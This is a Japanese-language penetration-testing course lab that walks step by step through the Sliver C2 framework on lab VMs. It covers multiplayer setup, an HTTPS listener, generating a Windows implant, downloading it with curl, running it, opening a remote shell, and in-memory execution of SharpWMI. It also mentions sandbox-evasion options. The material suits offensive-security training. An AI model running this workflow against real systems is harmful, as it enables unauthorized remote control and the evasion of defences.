Lab 2.3: Sliver
オフライン演習
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。
目的
- Sliverとその機能に慣れる
- マルチプレイヤーをセットアップし、マルチプレイヤー機能に慣れる
- リスナーを作成し、リスナーに接続するペイロードを生成する
- Sliverインプラントの機能、特に
execute-assembly
を使用する
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Linux
- Windows 11
このラボでは、Linux VMからWindows VMへのpingが可能であり、その逆も可能であることを確認してください。
コマンド
ping -c 4 WINDOWS_ETHERNET0_ADDRESS
WINDOWS_ETHERNET0_ADDRESSを置き換えてください!
WINDOWS_ETHERNET0_ADDRESS
をWindows VMのローカルアドレスに置き換えてください(10.254.25X.X
のようなアドレスではありません)。
コマンド
ping LINUX_ETH0_ADDRESS
LINUX_ETH0_ADDRESSを置き換えてください!
LINUX_ETH0_ADDRESS
をLinux VMのeth0インターフェースのアドレスに置き換えてください(tun0の10.254.25X.X
のようなアドレスではありません)。
ラボ – ステップバイステップの手順
1: Sliverの起動
Sliverには、クライアントとサーバーの2つのコンポーネントがあります。まず、Slingshot VMでサーバーを起動します。
コマンド
sudo sliver-server
ここからすべてを実行できますが、マルチプレイヤーモードをセットアップしましょう。
この時点で、次のようなプロンプトが表示されるはずです:
想定される結果
[server] sliver >
ヘルプを見てみましょう。
コマンド
help
想定される結果
[server] sliver > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
monitor Monitor threat intel platforms for Sliver implants
wg-config Generate a new WireGuard client config
wg-portfwd List ports forwarded by the WireGuard tun interface
wg-socks List socks servers listening on the WireGuard tun interface
Generic:
========
aliases List current aliases
armory Automatically download and install extensions/aliases
background Background an active session
beacons Manage beacons
builders List external builders
canaries List previously generated canaries
cursed Chrome/electron post-exploitation tool kit
dns Start a DNS listener
env List environment variables
generate Generate an implant binary
hosts Manage the database of hosts
http Start an HTTP listener
https Start an HTTPS listener
implants List implant builds
jobs Job control
licenses Open source licenses
loot Manage the server's loot store
mtls Start an mTLS listener
prelude-operator Manage connection to Prelude's Operator
profiles List existing profiles
reaction Manage automatic reactions to events
regenerate Regenerate an implant
sessions Session management
settings Manage client settings
stage-listener Start a stager listener
tasks Beacon task management
update Check for updates
use Switch the active session or beacon
version Display version information
websites Host static content (used with HTTP C2)
wg Start a WireGuard listener
Multiplayer:
============
kick-operator Kick an operator from the server
multiplayer Enable multiplayer mode
new-operator Create a new operator config file
operators Manage operators
For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki
私たちが確認したいコマンドのほとんどは、Genericカテゴリにあります。Multiplayerカテゴリはサーバーでのみ利用可能です。これにより、新しいユーザー(オペレーターまたはプレイヤー)を設定および追加して、チームとして協力することができます。
マルチプレイヤーモードを設定し、クライアントとして接続しましょう。まず、multiplayer
コマンドを実行してマルチプレイヤーを有効にする必要があります。
コマンド
multiplayer
想定される結果
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[server] sliver >
Multiplayerオプションは、クライアントではなく、サーバーでのみ利用可能です。
ユーザーを作成し、証明書で接続して、同じシステム上に複数の人がいることをシミュレートします。
まず、新しいプレイヤーを作成するために使用するオプションを知る必要があります。new-operator -h
を実行して、このコマンドのヘルプを確認します。
コマンド
new-operator -h
想定される結果
[server] sliver > new-operator -h
Create a new player config file
Usage:
======
new-operator -h [flags]
Flags:
======
-h, --help display help
-l, --lhost string listen host
-p, --lport int listen port (default: 31337)
-n, --operator string operator name
-s, --save string directory/file to the binary to
新しいユーザーを作成しましょう。zerocool
という名前を使用しますが、お好みのハンドル名を使用できます。IPアドレスには、eth0インターフェースのアドレスを使用してください(tun0インターフェースが持つ10.254.25X.X
のようなアドレスではありません)。
コマンド
注意: LINUX_ETH0_ADDRESSをeth0インターフェースのIPアドレスに置き換えてください。
new-operator -n zerocool -s /tmp/ -l LINUX_ETH0_ADDRESS
想定される結果
[server] sliver > new-operator -n zerocool -s /tmp/ -l 192.168.56.101
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /tmp/zerocool_192.168.56.101.cfg
新しいターミナルウィンドウを開いて、以下を完了してください:
このcfg
ファイルは、新しいプレイヤーと共有できます。試してみたい場合は、新しいプレイヤーを作成し、他の人とファイルを共有してください(ライブクラスルームでは、Slack経由で行うことができます)。チームで作業している場合は、キャップストーンCTF中に行うことをお勧めします。
ls -l
で設定ファイルを確認します。
コマンド
ls -l /tmp/*.cfg
想定される結果
sec560@560vm:~$ ls -l /tmp/*.cfg
-rw------- 1 root root 1905 Aug 14 23:42 /tmp/zerocool_192.168.56.101.cfg
サーバーをrootとして実行したため、TCPポート443でリッスンできます。これは、プロセスによって作成されたファイルもrootが所有することを意味します。このファイルはさらに制限されており、所有者(root)のみが読み取ることができます。ファイルを読み取れるように、ファイルの権限を変更する必要があります。
コマンド
sudo chown sec560:sec560 /tmp/*.cfg
このコマンドには出力がありません
ローカルシステムでインポートプロセスを練習しましょう。まず、sliver-client
のオプションを確認します。
コマンド
sliver-client -h
想定される結果
sec560@560vm:~$ sliver-client -h
Usage:
sliver-client [flags]
sliver-client [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
import Import a client configuration file
version Print version and exit
Flags:
-h, --help help for sliver-client
Use "sliver-client [command] --help" for more information about a command.
import
サブコマンドを使用して設定ファイルをインポートします。
コマンド
sliver-client import /tmp/*.cfg
想定される結果
sec560@560vm:~$ sliver-client import /tmp/zerocool_*.cfg
2024/08/14 23:43:25 Saved new client config to: /home/sec560/.sliver-client/configs/zerocool_192.168.56.101
これでサーバーに接続できます。sliver-client
コマンドを実行します。
コマンド
sliver-client
想定される結果
sec560@560vm:~$ sliver-client
? Select a server: [Use arrows to move, enter to select, type to filter]
> sec560@localhost (30f80ea912f35072)
zerocool@192.168.56.101 (6b0fd6d1a493c5)
適切なユーザーを選択してEnterキーを押すと、sliver >
プロンプトが表示されます。サーバーのターミナルウィンドウに[*] zerocool has joined the game
と表示されることに注意してください。
2: リスナーとインプラントペイロードの作成
このコマンドはサーバー([server] sliver >
)ではなく、クライアント(sliver >
)で実行してください!
まず、https
リスナーを作成しましょう。
コマンド
https -h
想定される結果
sliver > https -h
Start an HTTPS listener
Usage:
======
https [flags]
Flags:
======
-c, --cert string PEM encoded certificate file
-D, --disable-otp disable otp authentication
-E, --disable-randomized-jarm disable randomized jarm fingerprints
-d, --domain string limit responses to specific domain
-h, --help display help
-k, --key string PEM encoded private key file
-e, --lets-encrypt attempt to provision a let's encrypt certificate
-L, --lhost string interface to bind server to
-J, --long-poll-jitter string server-side long poll jitter (default: 2s)
-T, --long-poll-timeout string server-side long poll timeout (default: 1s)
-l, --lport int tcp listen port (default: 443)
-p, --persistent make persistent across restarts
-t, --timeout int command timeout in seconds (default: 60)
-w, --website string website name (see websites cmd)
実際の世界では、証明書(またはLet's Encrypt証明書)を設定し、ドメインを設定します。今のところ、IPアドレスだけを使用します。
シンプルなhttps
リスナーを起動しましょう。
コマンド
https
想定される結果
sliver > https
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #2
job #2
と表示されていることに注意してください。ジョブを確認しましょう。
コマンド
jobs
想定される結果
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 grpc tcp 31337
2 https tcp 443
ポート31337で実行されている最初のジョブは、リモートユーザー(マルチプレイヤー)用です。デフォルトのポート443で実行されているhttps
リスナーもあります。
これで、接続を受信するようにリスナーが設定されました。ペイロードの構築を見てみましょう。
コマンド
generate -h
サンドボックステクノロジーをバイパスしようと試みるために使用できる、いくつかの興味深いガードレールがあります。そのいくつかを見てみましょう:
-w
,--limit-datetime
: 日時より前に実行を制限(EmpireのKillDateに類似)-x
,--limit-domainjoined
: ドメインに参加しているマシンに実行を制限-F
,--limit-fileexists
: ファイルシステムにこのファイルがあるホストに実行を制限-z
,--limit-hostname
: 指定されたホスト名に実行を制限-y
,--limit-username
: 指定されたユーザー名に実行を制限
これらのオプションは使用しませんが、-x
、--limit-domainjoined
は、通常、シンプルなサンドボックス防御をバイパスするための良いオプションです。
「カナリア」(-c
、--canary
)ドメインを指定することもできます。カナリアドメインは実行可能ファイルに含まれていますが、C2には使用されません。ターゲットがドメインをクエリした場合、誰かがドメインを調査していることに気付くことができるように含まれています。今のところ、この機能はスキップします。
Sliverは、ペイロードの重い暗号化と難読化を行います。これは素晴らしい機能ですが、ペイロードの生成に時間がかかる場合があります。ラボを高速化するために、--skip-symbols
を使用してこのステップをスキップします。実際の世界では、このオプションを使用したくないでしょう。
リスナーにコールバックするWindowsペイロードを構築しましょう。リスナーとOSを指定する必要があります。
このコマンドは、ペイロードを生成するのに最大1分かかる場合があります。
コマンド
generate --os windows --skip-symbols --name first --http LINUX_ETH0_ADDRESS
LINUX_ETH0_ADDRESS
をLinux VMのeth0インターフェースのアドレスに置き換えてください(tun0の10.254.25X.X
のようなアドレスではありません)。
想定される結果
sliver > generate --os windows --skip-symbols --name first --http 10.10.10.186
[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 21s
[*] Implant saved to /home/sec560/first.exe
生成したインプラントを確認しましょう。
コマンド
implants
想定される結果
sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug
======= ============== ========== =============== ============ ========================== =======
first session sliver windows/amd64 EXECUTABLE [1] https://10.10.10.186 false
3: Windowsシステムへのペイロードの送信
新しいターミナルウィンドウを開いて、Windowsシステムにペイロードを送信するサーバーを作成できるようにします。
ファイルの権限を開きましょう(rootとして実行されているsliver-server
プロンプトでgenerate
コマンドを実行した可能性があるため)、その後、Python経由で提供します。
コマンド
sudo chmod o+r first.exe
python3 -m http.server
想定される結果
sec560@560vm:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Windowsホストに切り替えて、デスクトップの**Terminal**ショートカットを開きます。デスクトップに移動して、ファイルをダウンロードします。
コマンド
cd Desktop
curl.exe http://LINUX_ETH0_ADDRESS:8000/first.exe -o first.exe
LINUX_ETH0_ADDRESS
をSlingshot Linux VMのeth0インターフェースのIPアドレスに置き換えてください。
PowerShellで、ファイルがコピーされたことを確認しましょう。
コマンド
ls first.exe
想定される結果
PS C:\Users\sec560\Desktop> ls .\first.exe
Directory: C:\Users\sec560\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/14/2024 4:48 PM 10981376 first.exe
ファイルは約10MBであるはずです。
4: ペイロードの実行
Windowsシステムで、デスクトップのfirst.exe
をダブルクリックします。
Sliverサーバーで、接続が到着するのが確認できるはずです。
想定される結果
[*] Session 5b15d3b5 first - 10.10.10.165:28928 (SEC560-Windows) - windows/amd64 - Wed, 14 Aug 2024 23:50:15 UTC
sessions
でセッションを確認しましょう。
コマンド
sessions
想定される結果
sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ======= =========== ====================== ================ ======================= ================== ======== ======================================= =========
1136c240 first http(s) 192.168.136.129:3973 SEC560-Windows SEC560-WINDOWS\sec560 windows/amd64 en-US Tue Oct 1 23:20:38 UTC 2024 (3s ago) [ALIVE]
(出力は上記と若干異なる場合があります。)
use
とセッションIDの最初の2文字を使用して、セッションと対話しましょう。例では11
ですが、IDは異なります。
コマンド
use 11
想定される結果
sliver > use 11
[*] Active session first (1136c240-b73f-4c9b-84c8-2810d2ba6b75)
セッションに入りました!
5: セッションとの対話
help
を実行して、セッションで使用可能なオプションを確認しましょう。
コマンド
help
想定される結果
sliver (first) > help
...trimmed for brevity...
For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki
最も興味深いコマンドは、Sliver - Windows
とSliver
カテゴリにあります。詳細については、Sliver wikiを自由に確認してください。
まず、侵害されたシステムに関する情報を取得しましょう。
Commands
getuid
getgid
想定される結果
sliver (first) > getuid
S-1-5-21-1288990088-1908499456-574993194-1000
sliver (first) > getgid
S-1-5-21-1288990088-1908499456-574993194-
getuid
およびgetgid
コマンドは、それぞれユーザーとグループのSIDを返します。これはそれほど有用な情報ではありません(少なくとも、Active Directory攻撃に到達するまでは!)。今のところ、whoami
コマンドの方がはるかに優れています。
Commands
whoami
想定される結果
sliver (first) > whoami
Logon ID: SEC560-WINDOWS\sec560
[*] Current Token ID: SEC560-WINDOWS\sec560
このすべての情報(およびそれ以上)を単一のコマンドで取得したい場合は、info
コマンドを実行します。
コマンド
info
想定される結果
sliver (first) > info
Session ID: 5b15d3b5-8c71-42e8-9237-a8cbe913169b
Name: first
Hostname: SEC560-Windows
UUID: ed424d56-fe56-5e76-423a-bb5c1ec6ed28
Username: SEC560-WINDOWS\sec560
UID: S-1-5-21-2164846559-4207960765-565246971-1000
GID: S-1-5-21-2164846559-4207960765-565246971-513
PID: 9600
OS: windows
Version: 10 build 26100 x86_64
Locale: en-US
Arch: amd64
Active C2: https://10.10.10.186
Remote Address: 10.10.10.165:28928
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Wed Aug 14 23:50:15 UTC 2024 (2m19s ago)
Last Checkin: Wed Aug 14 23:52:33 UTC 2024 (1s ago)
ここでは、現在のユーザーに関する情報とホストに関する詳細が表示されます。
6: シェル
Metasploitと同様に、shell
コマンドでコマンドシェルにドロップできます。
shell
を実行します:
コマンド
shell
想定される結果
sliver (first) > shell
? This action is bad OPSEC, are you an adult? Yes
[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...
[*] Started remote shell with pid 2664
PS C:\Users\sec560\Desktop>
悪いOPSEC
shell
を実行すると、これは悪いOPSECであるという通知が表示されます。防御ツールは、CMDやPowerShellなど、悪意のあるアクターが一般的に使用するツールを生成するプロセスを探すように調整されています。
今のところ、Y
と入力してEnterキーを押して警告を受け入れてください。必要に応じて、少し嘘をついて大人だと言うことができます ;)
対話型のPowerShellプロンプトが表示されました。任意のPowerShellコマンドを実行できます。ls c:\
を実行して、ドライブのルートを確認します。
コマンド
ls c:\
想定される結果
PS C:\Users\sec560\Desktop> ls c:\
ls c:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/13/2024 2:18 PM bin
d----- 8/13/2024 2:12 PM CourseFiles
...truncated for brevity...
exit
と入力してこのシェルを終了します。他のシステムについて学ぶために、他のツールを試してみます。
コマンド
exit
想定される結果
PS C:\Users\sec560\Desktop> exit
exit
Shell exited
sliver (first) >
警告
最新のWindows 11リビジョンでは、exit
コマンドがタイムリーに終了しないことがあります。数秒後にsliver
プロンプトが返ってこない場合は、Ctrl+C
を押してsliver
を終了し、sliver-client
を再実行して再起動します。その後、use
とセッションIDの最初の数文字を使用して、セッションと再び対話します。
良い点は、サーバーを閉じていないため、Sliverクライアントを再起動する必要がある場合でも、セッションを失うことはないということです。
7: Execute Assembly - SharpWMI
Metasploitのように、多数の組み込みのポストエクスプロイテーションツールはありません。ただし、execute-assembly
でアセンブリを実行できます。Microsoftによると:
アセンブリは、連携して機能の論理単位を形成するように構築された型とリソースのコレクションです。アセンブリは、実行可能ファイル(.exe)またはダイナミックリンクライブラリ(.dll)ファイルの形式を取り、.NETアプリケーションの構成要素です。共通言語ランタイムに、型実装を認識するために必要な情報を提供します。
セクション2の終わりに、別のそのようなアセンブリであるSeatbeltを使用します!GhostPackには他のアセンブリも含まれています。SharpWMIを使用します。これを行うには、execute-assembly
コマンドを使用して、LinuxシステムのSharpWMI.exeへのパスを指定する必要があります。
コマンド
execute-assembly /home/sec560/labs/SharpWMI.exe
Linuxは大文字と小文字を区別します!
上記と同じ大文字小文字で入力する必要があります。Linuxには大文字と小文字を区別するファイルシステムがあります(Windowsとは異なります)。
想定される結果
sliver (first) > execute-assembly /home/sec560/labs/SharpWMI.exe
[*] Output:
:: GhostPack/SharpWMI - a C# implementation of various WMI functionality.
This implementation is a refurbished and enhanced version of original SharpWMI by @harmj0y that adds some more
flexibility for working with malicious VBS scripts, AMSI evasion, file upload purely via WMI and makes it possible
to return output from WMI remotely executed commands.
...truncated for brevity...
SharpWMIのヘルプが表示されるはずです。
Sliverはファイルを転送し、メモリ内で実行しました。ファイルがディスクに書き込まれることはないため、防御ツールが実行を検出することはより困難です。
loggedon
アクションを実行して、ログインしているユーザーのリストを取得してテストしましょう。
コマンド
execute-assembly /home/sec560/labs/SharpWMI.exe action=loggedon
Linuxは大文字と小文字を区別します!
上記と同じ大文字小文字で入力する必要があります。Linuxには大文字と小文字を区別するファイルシステムがあります(Windowsとは異なります)。
想定される結果
sliver (first) > execute-assembly /home/sec560/labs/SharpWMI.exe action=loggedon
[*] Output:
Scope: \\localhost\
Query: "SELECT * FROM Win32_LoggedOnUser"
localhost : SEC560-WINDOWS\sec560
Windows VMのローカルSEC560-WINDOWS\sec560
ユーザーが表示されます。これを使用して他のシステムもターゲットにすることができます。これは後でピボットラボで行います!
もう1つの優れたC#アセンブリはRubeusです(このツールは560.5でカバーします)。これらの追加ツールにより、このツールの機能を拡張できます!
8: ボーナス1 - 他の.NETアセンブリ
~/labs
にある他の.NETアセンブリを使用して実験してください。最初に、インプラントを管理者として実行する(右クリック、管理者として実行)か、権限を昇格させる必要があります。
9: ボーナス2 - マルチプレイヤー
クラスの他の誰かを見つけて、彼らのために「プレイヤー」を作成してください。設定ファイルを共有し、共有セッションを使用します。これはキャップストーンCTFに非常に役立ちます。
設定を他の人と共有したい場合、またはOpenVPN範囲内のマシンを悪用したい場合は、HTTPSリスナーとgenerate
コマンドを、eth0インターフェースではなく、tun0インターフェース(10.254.X.Y)を指すようにする必要があります。
結論
見てきたように、Sliverはペネトレーションテスト(およびレッドチーム)のための強力なツールです。ツールの柔軟性により、サードパーティのアセンブリを簡単にロードし、情報を抽出できます(Metasploitも現在これを行うことができます)。最も優れた機能の1つは、マルチプレイヤー機能です。
WindowsおよびLinux VMをリセットする最も簡単な方法は、再起動することです。または、Linux VM内のすべてのターミナルウィンドウを閉じて、Windows VMでfirst.exe
をキルすることもできます。